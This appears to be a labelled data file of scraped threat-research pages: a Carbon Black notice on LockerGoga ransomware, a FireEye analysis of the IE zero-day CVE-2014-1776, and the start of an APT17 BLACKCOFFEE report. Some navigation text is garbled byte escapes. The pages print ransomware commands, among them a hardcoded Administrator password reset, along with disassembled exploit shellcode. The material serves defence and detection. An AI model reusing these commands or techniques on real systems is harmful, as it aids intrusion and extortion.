\xe9\x87\x8d\xe8\xa6\x81\xe3\x82\xb7\xe3\x82\xb9\xe3\x83\x86\xe3\x83 \xe3\x81\xae\xe3\x83\xad\xe3\x83\x83\xe3\x82\xaf\xe3\x83\x80\xe3\x82\xa6\xe3\x83\xb3\xe3\x81\xa8\xe3\x82\xa2\xe3\x83\x97\xe3\x83\xaa\xe3\x82\xb1\xe3\x83\xbc\xe3\x82\xb7\xe3\x83\xa7\xe3\x83\xb3\xe5\x88\xb6\xe5\xbe\xa1 POS\xe3\x80\x81\xe5\x9b\xba\xe5\xae\x9a\xe6\xa9\x9f\xe8\x83\xbd\xe3\x80\x81\xe7\x94\xa3\xe6\xa5\xad\xe5\x88\xb6\xe5\xbe\xa1\xe3\x82\xb7\xe3\x82\xb9\xe3\x83\x86\xe3\x83 \xe3\x81\xae\xe3\x82\xbb\xe3\x82\xad\xe3\x83\xa5\xe3\x83\xaa\xe3\x83\x86\xe3\x82\xa3 \xe6\xa5\xad\xe7\xa8\xae \xe9\x87\x91\xe8\x9e\x8d \xe5\x8c\xbb\xe7\x99\x82 \xe8\xa3\xbd\xe9\x80 \xe7\x9f\xb3\xe6\xb2\xb9\xe3\x80\x81\xe3\x82\xac\xe3\x82\xb9\xe3\x80\x81\xe9\x9b\xbb\xe5\x8a\x9b \xe5\xb0\x8f\xe5\xa3\xb2\xe3\x80\x81\xe3\x82\xb5\xe3\x83\xbc\xe3\x83\x93\xe3\x82\xb9 \xe3\x83\x91\xe3\x83\xbc\xe3\x83\x88\xe3\x83\x8a\xe3\x83\xbc \xe3\x83\x91\xe3\x83\xbc\xe3\x83\x88\xe3\x83\x8a\xe3\x83\xbc \xe3\x83\x91\xe3\x83\xbc\xe3\x83\x88\xe3\x83\x8a\xe3\x83\xbc \xe3\x83\x91\xe3\x83\xbc\xe3\x83\x88\xe3\x83\x8a\xe3\x83\xbc\xe3\x82\x92\xe6\x8e\xa2\xe3\x81\x99 Carbon Black \xe3\x83\x91\xe3\x83\xbc\xe3\x83\x88\xe3\x83\x8a\xe3\x83\xbc \xe3\x83\x97\xe3\x83\xad\xe3\x82\xb0\xe3\x83\xa9\xe3\x83 \xe3\x83\x91\xe3\x83\xbc\xe3\x83\x88\xe3\x83\x8a\xe3\x83\xbc\xe3\x83\x9d\xe3\x83\xbc\xe3\x82\xbf\xe3\x83\xab\xe3\x83\xad\xe3\x82\xb0\xe3\x82\xa4\xe3\x83\xb3 \xe3\x83\x91\xe3\x83\xbc\xe3\x83\x88\xe3\x83\x8a\xe3\x83\xbc\xe3\x83\x9d\xe3\x83\xbc\xe3\x82\xbf\xe3\x83\xab\xe3\x83\xad\xe3\x82\xb0\xe3\x82\xa4\xe3\x83\xb3 \xe3\x83\x91\xe3\x83\xbc\xe3\x83\x88\xe3\x83\x8a\xe3\x83\xbc\xe3\x81\xab\xe3\x81\xaa\xe3\x82\x8b Integration Carbon Black Integration Network \xe3\x82\xaa\xe3\x83\xbc\xe3\x83\x97\xe3\x83\xb3 API \xe3\x83\xaa\xe3\x82\xbd\xe3\x83\xbc\xe3\x82\xb9 \xe3\x83\xaa\xe3\x82\xbd\xe3\x83\xbc\xe3\x82\xb9 \xe8\xa9\xb3\xe7\xb4\xb0\xe3\x82\x92\xe8\xa1\xa8\xe7\xa4\xba \xe3\x83\xaa\xe3\x82\xbd\xe3\x83\xbc\xe3\x82\xb9 \xe3\x83\xa9\xe3\x82\xa4\xe3\x83\x96\xe3\x83\xa9\xe3\x83\xaa \xe3\x82\xa6\xe3\x82\xa7\xe3\x83\x93\xe3\x83\x8a\xe3\x83\xbc \xe3\x81\x8a\xe5\xae\xa2\xe6\xa7\x98\xe3\x81\xae\xe6\x88\x90\xe5\x8a\x9f\xe4\xba\x8b\xe4\xbe\x8b \xe8\x84 \xe5\xa8\x81\xe8\xaa\xbf\xe6\x9f\xbb \xe5\xae\x9a\xe7\xbe\xa9 | \xe6\xa6\x82\xe8\xa6\x81\xe2\x80\xa6 \xe6\x83 \xe5 \xb1\xe3\x82\xb7\xe3\x83\xaa\xe3\x83\xbc\xe3\x82\xba Carbon Black \xe3\x82\x92\xe6\xaf\x94\xe8\xbc\x83 | \xe8\xa3\xbd\xe5\x93\x81\xe6\xaf\x94\xe8\xbc\x83 \xe3\x82\xaa\xe3\x83\xb3\xe3\x83\x9c\xe3\x83\xbc\xe3\x83\x87\xe3\x82\xa3\xe3\x83\xb3\xe3\x82\xb0 \xe3\x83\x88\xe3\x83\xac\xe3\x83\xbc\xe3\x83\x8b\xe3\x83\xb3\xe3\x82\xb0 \xe3\x82\xb5\xe3\x83\xbc\xe3\x83\x93\xe3\x82\xb9 \xe3\x82\xb5\xe3\x83\x9d\xe3\x83\xbc\xe3\x83\x88 \xe8\xa3\xbd\xe5\x93\x81\xe3\x82\xbb\xe3\x82\xad\xe3\x83\xa5\xe3\x83\xaa\xe3\x83\x86\xe3\x82\xa3 Connect \xe9\xa1\xa7\xe5\xae\xa2\xe3\x82\xb3\xe3\x83\x9f\xe3\x83\xa5\xe3\x83\x8b\xe3\x83\x86\xe3\x82\xa3 \xe3\x83\x96\xe3\x83\xad\xe3\x82\xb0 \xe4\xbc\x81\xe6\xa5\xad\xe6\x83 \xe5 \xb1 \xe4\xbc\x81\xe6\xa5\xad\xe6\x83 \xe5 \xb1 \xe3\x81\xaa\xe3\x81\x9c\xe3\x80\x81\xe3\x81\x8b Carbon Black \xe3\x81\x8c\xe9\x81\xb8\xe3\x81\xb0\xe3\x82\x8c\xe3\x82\x8b\xe7\x90\x86\xe7\x94\xb1 \xe8\xa3\xbd\xe5\x93\x81\xe3\x81\xae\xe8\xaa\x8d\xe5\xae\x9a\xe3\x81\xa8\xe5\xb0\x82\xe9\x96\x80\xe6\xa9\x9f\xe9\x96\xa2\xe3\x81\xab\xe3\x82\x88\xe3\x82\x8b\xe3\x83\x86\xe3\x82\xb9\xe3\x83\x88 \xe5\x8f\x97\xe8\xb3\x9e\xe6\xad\xb4\xe3\x81\xa8\xe8\xa9\x95\xe4\xbe\xa1 \xe3\x82\xa8\xe3\x83\xb3\xe3\x83\x89\xe3\x83\x9d\xe3\x82\xa4\xe3\x83\xb3\xe3\x83\x88 \xe3\x82\xbb\xe3\x82\xad\xe3\x83\xa5\xe3\x83\xaa\xe3\x83\x86\xe3\x82\xa3\xe8\xa3\xbd\xe5\x93\x81\xe3\x83\xac\xe3\x83\x93\xe3\x83\xa5\xe3\x83\xbc \xe4\xbc\x81\xe6\xa5\xad\xe6\x83 \xe5 \xb1 Carbon Black \xe3\x81\xab\xe3\x81\xa4\xe3\x81\x84\xe3\x81\xa6 \xe3\x83\x81\xe3\x83\xbc\xe3\x83 \xe3\x82\xbb\xe3\x82\xad\xe3\x83\xa5\xe3\x83\xaa\xe3\x83\x86\xe3\x82\xa3\xe5\xb0\x82\xe9\x96\x80\xe5\xae\xb6 \xe8\x84 \xe5\xa8\x81\xe5\x88\x86\xe6\x9e\x90\xe9\x83\xa8\xe9\x96\x80 Investor Relations Careers \xe3\x82\xa4\xe3\x83\x99\xe3\x83\xb3\xe3\x83\x88 \xe3\x82\xa4\xe3\x83\x99\xe3\x83\xb3\xe3\x83\x88 CB Connect 2019 \xc2 Press \xe3\x83\x97\xe3\x83\xac\xe3\x82\xb9 \xe3\x83\xaa\xe3\x83\xaa\xe3\x83\xbc\xe3\x82\xb9 \xe3\x83\xa1\xe3\x83\x87\xe3\x82\xa3\xe3\x82\xa2\xe6\x8e\xb2\xe8\xbc\x89 \xe8\x8b\xb1\xe8\xaa\x9e\xe7\x89\x88\xe3\x82\x92\xe8\xa6\x8b\xe3\x82\x8b English Contact \xe3\x81\x8a\xe5\x95\x8f\xe3\x81\x84\xe5\x90\x88\xe3\x82\x8f\xe3\x81\x9b Support \xe3\x82\xb5\xe3\x83\x9d\xe3\x83\xbc\xe3\x83\x88 Blog \xe3\x83\x96\xe3\x83\xad\xe3\x82\xb0 Login Partner Portal Login User Exchange Login \xe3\x83\x91\xe3\x83\xbc\xe3\x83\x88\xe3\x83\x8a\xe3\x83\xbc\xe3\x83\x9d\xe3\x83\xbc\xe3\x82\xbf\xe3\x83\xab\xe3\x83\xad\xe3\x82\xb0\xe3\x82\xa4\xe3\x83\xb3 \xe9\xa1\xa7\xe5\xae\xa2\xe3\x82\xb3\xe3\x83\x9f\xe3\x83\xa5\xe3\x83\x8b\xe3\x83\x86\xe3\x82\xa3 Get Started \xe5\xa7\x8b\xe3\x82\x81\xe3\x81\xbe\xe3\x81\x97\xe3\x82\x87\xe3\x81\x86 TAU Threat Intelligence Notification \xe2\x80\x93 LockerGoga Ransomware March 22, 2019 / AC LockerGoga ransomware has recently surfaced with a few successful infections mostly discovered in Europe that have caused very large and notable damage to businesses. This ransomware uses Windows \xe2\x80\x9cliving off the land\xe2\x80\x9d tools (LOLBins) for the most part in order to infect and encrypt the victim\xe2\x80\x99s machine. Details LockerGoga is delivered as a digitally signed executable but with a currently revoked certificate by ALISA Ltd, as shown below. When the LockerGoga executable launcher is first started it spawns a command prompt process in order to execute the following command, which subsequently copies itself appearing as a new file with a semi-randomly generated name in the user\xe2\x80\x99s %TEMP% directory. The file is named \xe2\x80\x9ctgytutrc(ID).exe\xe2\x80\x9d, where the (ID) is a 4-digit random value. C:\\Windows\\system32\\cmd.exe /c move /y C:\\Users\\\\Desktop\\LockerGoga.exe C:\\Users\\\\AppData\\Local\\Temp\\tgytutrc(ID).exe It then unpacks the following binary and executes it using the \xe2\x80\x9c-m\xe2\x80\x9d switch, and then deletes the original launcher. This command line will appear as: C:\\Users\\\\AppData\\Local\\Temp\\tgytutrc(ID).exe -m At this stage, you might be quick enough to notice the ransom note placed on the desktop before the user session is logged out, but in case not, here is the exact ransom note below. Immediately after it runs the standard Windows \xe2\x80\x9clogoff.exe \xe2\x80\x9d (where the session ID may vary from environment to the next) command from the C:\\Windows\\System32 directory. The Windows Net.exe utility will change the Administrator password with the following command: n\xe2\x80\x8bet\xe2\x80\x8b.e\xe2\x80\x8bxe user Administrator HuHuHUHoHo283283@dJD A new child process is created as \xe2\x80\x9ctg\xe2\x80\x8byt\xe2\x80\x8but\xe2\x80\x8brc\xe2\x80\x8b(ID)\xe2\x80\x8b.e\xe2\x80\x8bxe -i SM-tgytutrc\xe2\x80\x9d, which is used to encrypt a single file on the drive. Once a file has been encrypted, the child process exits, and a new one is created for each file encountered. When each file is encrypted, registry keys are created under\xc2 HKU\\{SID}\\Software\\Microsoft\\RestartManager\\\xc2 which are used to track metadata pertaining to the file being encrypted, such as owner, sequence, session and file hash. Behavioral Summary As far as ransomware goes, LockerGoga is an extremely noisy example. Not only is there the behavior of each file being encrypted but, unusually, the malware will launch a child process for each and every file to be encrypted. This will result in a single executable launched tens of thousands of times in quick succession. We also see Windows components of net.exe and logoff.exe used to lock the user out of the system after encryption. The use of\xc2 net.exe\xc2 to change a user\xe2\x80\x99s password, especially that of the Administrator account, is explicitly unusual and should be monitored for. The overall TTP\xe2\x80\x99s for the LockerGoga launcher and the child process created are shown below. \xc2 \xc2 Below is the process diagram showing the high level overview of LockerGoga. If you are a Carbon Black customer and looking for more information on how CB products defend against this attack, click here. Remediation: MITRE ATT&CK TIDs \xc2 TID Tactic Description T1112 Defense Evasion Modify Registry T1059 Execution Command-Line Interface T1087 Discovery Account Discovery T1057 Discovery Process Discovery \xc2 Indicators of Compromise (IOCs) Indicator Type Context c97d9bbc80b573bdeeda3812f4d00e5183493dd0d5805e2508728f65977dda15 \xc2 e11502659f6b5c5bd9f78f534bc38fea SHA256 \xc2 MD5 LockerGoga launcher executable 65d5dd067e5550867b532f4e52af47b320bd31bc906d7bf5db889d0ff3f73041 \xc2 438ebec995ad8e05a0cea2e409bfd488 SHA256 \xc2 MD5 LockerGoga launcher executable 88d149f3e47dc337695d76da52b25660e3a454768af0d7e59c913995af496a0f \xc2 c2da604a2a469b1075e20c5a52ad3317 SHA256 \xc2 MD5 LockerGoga launcher executable \xc2 TOPICS: Threat Research TAGS: Carbon Black / CB TAU / ransomware Subscribe Latest Tweets Want to learn: \xe2\x9c\x94 How fileless attack techniques are evolving \xe2\x9c\x94 How organizations can protect themselves from filele\xe2\x80\xa6 https://t.co/9r9XGnEObp\xc2 5 hours ago RT \xc2 @ITPro\xc2 : . \xc2 @CarbonBlack_Inc\xc2 's premier customer and partner event of the year heads to London this upcoming Autumn for an action-packed co\xe2\x80\xa6 7 hours ago We are excited to be at Cybertech Europe from 24th - 25th September in Rome. Visit us at the booth and sign up to b\xe2\x80\xa6 https://t.co/GdeTys5GiM\xc2 12 hours ago Why Carbon Black? Products Partners Resources Company Carbon Black \xe3\x81\x8c\xe9\x81\xb8\xe3\x81\xb0\xe3\x82\x8c\xe3\x82\x8b\xe7\x90\x86\xe7\x94\xb1 \xe8\xa3\xbd\xe5\x93\x81 \xe3\x83\x91\xe3\x83\xbc\xe3\x83\x88\xe3\x83\x8a\xe3\x83\xbc \xe3\x83\xaa\xe3\x82\xbd\xe3\x83\xbc\xe3\x82\xb9 \xe4\xbc\x9a\xe7\xa4\xbe\xe6\x83 \xe5 \xb1 Products CB Predictive Security Cloud\xc2\xae CB Defense CB ThreatHunter CB LiveOps\xe2\x84\xa2 CB Defense for VMware CB ThreatSight CB Response CB Protection Solutions by Industry Solutions by Use Case See All Partners Carbon Black Partner Program Become a Partner Partner Portal Login Find a Partner Resources Resource Library Webinars Customer Success Stories Services Support Blog Industry Leadership Endpoint Security Product Reviews Product Certifications and Public Testing Accessibility Resources Archives Company Why Carbon Black? About Us The Team Investor Relations Customer Community Careers All Events In the News Press Releases Reporting a Security Vulnerability \xe8\xa3\xbd\xe5\x93\x81 CB Predictive Security Cloud CB Defense CB ThreatHunter CB LiveOps\xe2\x84\xa2 CB ThreatSight CB Defense for VMware CB Response CB Protection \xe3\x83\x91\xe3\x83\xbc\xe3\x83\x88\xe3\x83\x8a\xe3\x83\xbc Carbon Black Connect \xe3\x83\x91\xe3\x83\xbc\xe3\x83\x88\xe3\x83\x8a\xe3\x83\xbc \xe3\x83\x97\xe3\x83\xad\xe3\x82\xb0\xe3\x83\xa9\xe3\x83 \xe3\x83\x91\xe3\x83\xbc\xe3\x83\x88\xe3\x83\x8a\xe3\x83\xbc\xe3\x82\x92\xe6\x8e\xa2\xe3\x81\x99 \xe3\x83\x91\xe3\x83\xbc\xe3\x83\x88\xe3\x83\x8a\xe3\x83\xbc\xe3\x81\xab\xe3\x81\xaa\xe3\x82\x8b Carbon Black Integration Network \xe3\x82\xaa\xe3\x83\xbc\xe3\x83\x97\xe3\x83\xb3 API \xe3\x83\x91\xe3\x83\xbc\xe3\x83\x88\xe3\x83\x8a\xe3\x83\xbc\xe3\x83\x9d\xe3\x83\xbc\xe3\x82\xbf\xe3\x83\xab\xe3\x83\xad\xe3\x82\xb0\xe3\x82\xa4\xe3\x83\xb3 \xe3\x83\xaa\xe3\x82\xbd\xe3\x83\xbc\xe3\x82\xb9 \xe3\x83\xaa\xe3\x82\xbd\xe3\x83\xbc\xe3\x82\xb9 \xe3\x83\xa9\xe3\x82\xa4\xe3\x83\x96\xe3\x83\xa9\xe3\x83\xaa \xe3\x82\xa6\xe3\x82\xa7\xe3\x83\x93\xe3\x83\x8a\xe3\x83\xbc \xe8\x84 \xe5\xa8\x81\xe8\xaa\xbf\xe6\x9f\xbb \xe5\xae\x9a\xe7\xbe\xa9 | \xe6\xa6\x82\xe8\xa6\x81\xe2\x80\xa6 \xe6\x83 \xe5 \xb1\xe3\x82\xb7\xe3\x83\xaa\xe3\x83\xbc\xe3\x82\xba \xe3\x82\xb5\xe3\x83\x9d\xe3\x83\xbc\xe3\x83\x88 \xe3\x82\xbb\xe3\x82\xad\xe3\x83\xa5\xe3\x83\xaa\xe3\x83\x86\xe3\x82\xa3 \xe3\x82\xb5\xe3\x83\xbc\xe3\x83\x93\xe3\x82\xb9 \xe3\x81\x8a\xe5\xae\xa2\xe6\xa7\x98\xe3\x81\xae\xe6\x88\x90\xe5\x8a\x9f\xe4\xba\x8b\xe4\xbe\x8b Company Carbon Black \xe3\x81\x8c\xe9\x81\xb8\xe3\x81\xb0\xe3\x82\x8c\xe3\x82\x8b\xe7\x90\x86\xe7\x94\xb1 Carbon Black \xe3\x81\xab\xe3\x81\xa4\xe3\x81\x84\xe3\x81\xa6 \xe3\x83\xaa\xe3\x83\xbc\xe3\x83\x80\xe3\x83\xbc \xe8\x84 \xe5\xa8\x81\xe5\x88\x86\xe6\x9e\x90\xe9\x83\xa8\xe9\x96\x80 \xe3\x82\xbb\xe3\x82\xad\xe3\x83\xa5\xe3\x83\xaa\xe3\x83\x86\xe3\x82\xa3\xe5\xb0\x82\xe9\x96\x80\xe5\xae\xb6 \xe3\x82\xa4\xe3\x83\x99\xe3\x83\xb3\xe3\x83\x88 \xe9\xa1\xa7\xe5\xae\xa2\xe3\x82\xb3\xe3\x83\x9f\xe3\x83\xa5\xe3\x83\x8b\xe3\x83\x86\xe3\x82\xa3 Careers \xe3\x83\x97\xe3\x83\xac\xe3\x82\xb9 \xe3\x83\xaa\xe3\x83\xaa\xe3\x83\xbc\xe3\x82\xb9 \xe3\x83\xa1\xe3\x83\x87\xe3\x82\xa3\xe3\x82\xa2\xe6\x8e\xb2\xe8\xbc\x89 Copyright \xc2\xa9 2019 Carbon Black, Inc. All rights reserved. Copyright \xc2\xa9 2019 Carbon Black, Inc. All rights reserved. Privacy Policy Cookie Policy Terms & Conditions License Agreements Sitemap Privacy Policy Cookie Policy Terms & Conditions License Agreements Sitemap Search Carbon Black","0","0","1","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"New Zero-Day Exploit targeting Internet Explorer Versions 9 through 11 Identified in Targeted Attacks | FireEye Inc Search Search FireEye.com Go Solutions Enterprise Security Helix Security Platform Verodin Security Instrumentation Network Security and Forensics Endpoint Security Email Security FireEye Expertise Expertise On Demand Managed Defense Threat Intelligence Security For: Cloud Financial Services Government Healthcare Industrial Control Systems VIEW ALL SOLUTIONS Services Breach Response Incident Response Incident Response Retainer Compromise Assessment Security Assessment Red Team Assessments Penetration Testing Security Program Assessment Response Readiness Assessment Active Directory Security Assessment Tabletop Exercise ICS Healthcheck Security Enhancement Education and Training ThreatSpace Cyber Range Security Transformation Cyber Defense Center Development VIEW ALL SERVICES Partners FireEye Partners FireEye Fuel Resellers Technology Partners Cyber Risk Partners Global Service Providers and MSSPs Partner Resources Partner Enablement Partner Portal Partner Education Center Partner Locator Partnering with FireEye Partnering with FireEye Become a Partner Partner Certifications and Accreditations Support Get Support Contact Support Customer Portal Support Programs Find Answers Communities Supported Products Support Notices Documentation Documentation Portal Resources Intelligence Briefing and Bulletins Annual Threat Reports Threat Intelligence Reports Threat Intelligence Reports by Industry Advanced Persistent Threat Groups Cyber Security What is Cyber Security? One Security Platform No. 1 Attack Vector \xe2\x80\x93 Email One Trusted Advisor for Expertise The Vision \xe2\x80\x93 Digital Magazine FireEye Blogs Read the FireEye Blogs Free Tools & Apps Free Software Downloads FireEye Market Training Education and Training VIEW ALL RESOURCES Company About Us Why FireEye? Awards and Honors Leadership Board of Directors Investor Relations Customers Customer Success Customer Stories Careers Job Opportunities University Relations News and Events Newsroom Press Releases Webinars Events Contact Contact FireEye To give you the best possible experience, this site uses cookies.\xc2 Find out more on how we use cookies.Accept Home FireEye Blogs Threat Research April 2014 Threat Research Blog Posts New Zero-Day Exploit targeting Internet Explorer V... Threat Research New Zero-Day Exploit targeting Internet Explorer Versions 9 through 11 Identified in Targeted Attacks April 27, 2014 | by Xiaobo Chen, Mike Scott, Dan Caselden Zero-day Summary FireEye Research Labs identified a new Internet Explorer (IE) zero-day exploit used in targeted attacks. \xc2 The vulnerability affects IE6 through IE11, but the attack is targeting IE9 through IE11. \xc2 This zero-day bypasses both ASLR and DEP.\xc2 Microsoft has assigned CVE-2014-1776 to the vulnerability and released security advisory to track this issue. Threat actors are actively using this exploit in an ongoing campaign which we have named ""Operation Clandestine Fox."" However, for many reasons, we will not provide campaign details. But we believe this is a significant zero day as the vulnerable versions represent about a quarter of the total browser market. We recommend applying a patch once available. According to NetMarket Share, the market share for the targeted versions of IE in 2013 were: IE 9 \xc2 \xc2 \xc2 13.9% IE 10 \xc2 \xc2 11.04% IE 11 \xc2 \xc2 1.32% Collectively, in 2013, the vulnerable versions of IE accounted for 26.25% of the browser market. \xc2 The vulnerability, however, does appear in IE6 through IE11 though the exploit targets IE9 and higher. \xc2 The Details \xc2 The exploit leverages a previously unknown use-after-free vulnerability, and uses a well-known Flash exploitation technique to achieve arbitrary memory access and bypass Windows\xe2\x80\x99 ASLR and DEP protections. \xc2 Exploitation \xc2 \xc2 \xe2\x80\xa2 Preparing the heap \xc2 The exploit page loads a Flash SWF file to manipulate the heap layout with the common technique\xc2 heap feng shui.\xc2 It allocates Flash vector objects to spray memory and cover address 0x18184000. Next, it allocates a vector object that contains a flash.Media.Sound() object, which it later corrupts to pivot control to its ROP chain. \xc2 \xe2\x80\xa2 Arbitrary memory access \xc2 The SWF file calls back to Javascript in IE to trigger the IE bug and overwrite the length field of a Flash vector object in the heapspray. The SWF file loops through the heapspray to find the corrupted vector object, and uses it to again modify the length of another vector object. This other corrupted vector object is then used for subsequent memory accesses, which it then uses to bypass ASLR and DEP. \xc2 \xe2\x80\xa2 Runtime ROP generation \xc2 With full memory control, the exploit will search for ZwProtectVirtualMemory, and a stack pivot (opcode 0x94 0xc3) from NTDLL. It also searches for SetThreadContext in kernel32, which is used to clear the debug registers. This technique, may be an attempt to bypass protections that use hardware breakpoints, such as EMET\xe2\x80\x99s EAF mitigation. With the addresses of the aforementioned APIs and gadget, the SWF file constructs a ROP chain, and prepends it to its RC4 decrypted shellcode. It then replaces the vftable of a sound object with a fake one that points to the newly created ROP payload. When the sound object attempts to call into its vftable, it instead pivots control to the attacker\xe2\x80\x99s ROP chain. \xc2 \xe2\x80\xa2 ROP and Shellcode \xc2 The ROP payload basically tries to make memory at 0x18184000 executable, and to return to 0x1818411c to execute the shellcode. \xc2 0:008> dds eax \xc2 18184100 770b5f58 ntdll!ZwProtectVirtualMemory 18184104 1818411c 18184108 ffffffff 1818410c 181840e8 18184110 181840ec 18184114 00000040 18184118 181840e4 \xc2 Inside the shellcode, it saves the current stack pointer to 0x18181800 to safely return to the caller. \xc2 mov dword ptr ds:[18181800h],ebp \xc2 Then, it restores the flash.Media.Sound vftable and repairs the corrupted vector object to avoid application crashes. \xc2 18184123 b820609f06 mov eax,69F6020h \xc2 18184128 90 nop 18184129 90 nop 1818412a c700c0f22169 mov dword ptr [eax],offset Flash32_11_7_700_261!AdobeCPGetAPI+0x42ac00 (6921f2c0) 18184133 b800401818 mov eax,18184000h 18184138 90 nop 18184139 90 nop 1818413a c700fe030000 mov dword ptr [eax],3FEh ds:0023:18184000=3ffffff0 \xc2 The shellcode also recovers the ESP register to make sure the stack range is in the current thread stack base/limit. \xc2 18184140 8be5 mov esp,ebp \xc2 18184142 83ec2c sub esp,2Ch 18184145 90 nop 18184146 eb2c jmp 18184174 \xc2 The shellcode calls SetThreadContext to clear the debug registers. It is possible that this is an attempt to bypass mitigations that use the debug registers. \xc2 18184174 57 push edi \xc2 18184175 81ece0050000 sub esp,5E0h 1818417b c7042410000100 mov dword ptr [esp],10010h 18184182 8d7c2404 lea edi,[esp+4] 18184186 b9dc050000 mov ecx,5DCh 1818418b 33c0 xor eax,eax 1818418d f3aa rep stos byte ptr es:[edi] 1818418f 54 push esp 18184190 6afe push 0FFFFFFFEh 18184192 b8b308b476 mov eax,offset kernel32!SetThreadContext (76b408b3) 18184197 ffd0 call eax \xc2 The shellcode calls URLDownloadToCacheFileA to download the next stage of the payload, disguised as an image. \xc2 Mitigation \xc2 Using EMET may break the exploit in your environment and prevent it from successfully controlling your computer. EMET versions 4.1 and 5.0 break (and/or detect) the exploit in our tests. Enhanced Protected Mode in IE breaks the exploit in our tests. EPM was introduced in IE10. Additionally, the attack will not work without Adobe Flash. Disabling the Flash plugin within IE will prevent the exploit from functioning. \xc2 Threat Group History \xc2 The APT group responsible for this exploit has been the first group to have access to a select number of browser-based 0-day exploits (e.g. IE, Firefox, and Flash) in the past. They are extremely proficient at lateral movement and are difficult to track, as they typically do not reuse command and control infrastructure. They have a number of backdoors including one known as Pirpi that we previously discussed here. CVE-2010-3962, then a 0-day exploit in Internet Explorer 6, 7, and 8 dropped the Pirpi payload discussed in this previous case. As this is still an active investigation we are not releasing further indicators about the exploit at this time. Acknowledgement: We thank Christopher Glyer, Matt Fowler, Josh Homan, Ned Moran, Nart Villeneuve and Yichong Lin for their support, research, and analysis on these findings. Previous Post Next Post Promotion Recent Share Subscribe RSS Recent Posts 07 Sep 2019 Open Sourcing StringSifter 05 Sep 2019 Ransomware Protection and Containment Strategies: Practical Guidance for Endpoint Protection, Hardening, and Containment 03 Sep 2019 SharPersist: Windows Persistence Toolkit in C# Share Email Updates Information and insight on today's advanced threats from FireEye. RSS Feed: Stay Connected Company Why FireEye? Customer Stories Careers Certifications and Compliance Investor Relations Supplier Documents News and Events Newsroom Press Releases Webinars Events Awards and Honors Email Preferences Technical Support Incident? Report Security Issue Contact Support Customer Portal Communities Documentation Portal FireEye Blogs Threat Research Solutions and Services Executive Perspectives Threat Map View the Latest Threats Contact Us +1 877-347-3393 \xc2 Stay Connected LinkedIn Twitter Facebook YouTube Podcast Copyright\xc2 \xc2\xa9\xc2 2019\xc2 FireEye, Inc.\xc2 All rights reserved.\xc2 Privacy & Cookies Policy | Privacy Shield | Legal Documentation Site Language English My preferred language: English (English) French (Fran\xc3\xa7ais) German (Deutsch) Japanese (\xe6\x97\xa5\xe6\x9c\xac\xe8\xaa\x9e) Korean (\xed\x95\x9c\xea\xb5\xad\xec\x96\xb4) More languages","0","1","0","0","0","1","1","1","1","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","1","0","0","0","0","0","0","0","0","1","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"R E P O R T SECURITY REIMAGINED MAY 2015 F I R E E Y E L A B S / F I R E E Y E T H R E A T I N T E L L I G E N C E HIDING IN PLAIN SIGHT: FIREEYE AND MICROSOFT EXPOSE OBFUSCATION TACTIC Hiding in Plain Sight: FireEye and Microsoft Expose Obfuscation Tactic REPORT 32 FireEye Threat Intelligence and the Microsoft Threat Intelligence Center investigated a command-and-control (CnC) obfuscation tactic used on Microsoft\xe2\x80\x99s TechNet, a web portal for IT professionals. TechNet\xe2\x80\x99s security was in no way compromised by this tactic, which is likely possible on other message boards and forums. FireEye Threat Intelligence assesses that APT17, a China-based threat group, was behind the attempt. Other groups have used legitimate websites to host CnC IP address in the past. APT17 was embedding the encoded CnC IP address for the BLACKCOFFEE malware in legitimate Microsoft TechNet profiles pages and forum threads, a method some in the information security community call a \xe2\x80\x9cdead drop resolver.\xe2\x80\x9d Encoding the IP address makes it more difficult to identify the true CnC address for network security professionals. Few security companies have publicly discussed this tactic. After discovering the BLACKCOFFEE activity, the FireEye-Microsoft team encoded a sinkhole IP address into the profile pages and forum threads and locked the accounts to prevent the threat actors from making any changes. This collaborative approach allowed the team to observe the malware and its victims. Though the security community has not yet broadly discussed this technique, FireEye has observed other threat groups adopting these measures and expect this trend to continue on other community sites. Today, FireEye released Indicators of Compromise (IOCs) for BLACKCOFFEE and Microsoft released signatures for its anti-malware products. FIREEYE HAS OBSERVED THE CHINA- BASED APT17 DISGUISING THEIR TRAFFIC APT17, also known as DeputyDog, is a China- based threat group that FireEye Intelligence has observed conducting network intrusions against U.S. government entities, the defense industry, law firms, information technology companies, mining companies, and non-government organizations. BLACKCOFFEE\xe2\x80\x99s functionality includes uploading and downloading files; creating a reverse shell; enumerating files and processes; renaming, moving, and deleting files; terminating processes; and expanding its functionality by adding new backdoor commands. FireEye has monitored APT17\xe2\x80\x99s use of BLACKCOFFEE variants since 2013 to masquerade malicious communication as normal web traffic by disguising the CnC communication as queries to web search engines. THREAT ACTORS\xe2\x80\x99 CnC: FROM OBVIOUSLY MALICIOUS TO THOUGHTFULLY OBFUSCATED The use of BLACKCOFFEE demonstrates threat actors\xe2\x80\x99 evolving use of public websites to hide in plain sight. In the past, threat actors would modify easily compromised websites to host CnC commands and configuration, as observed 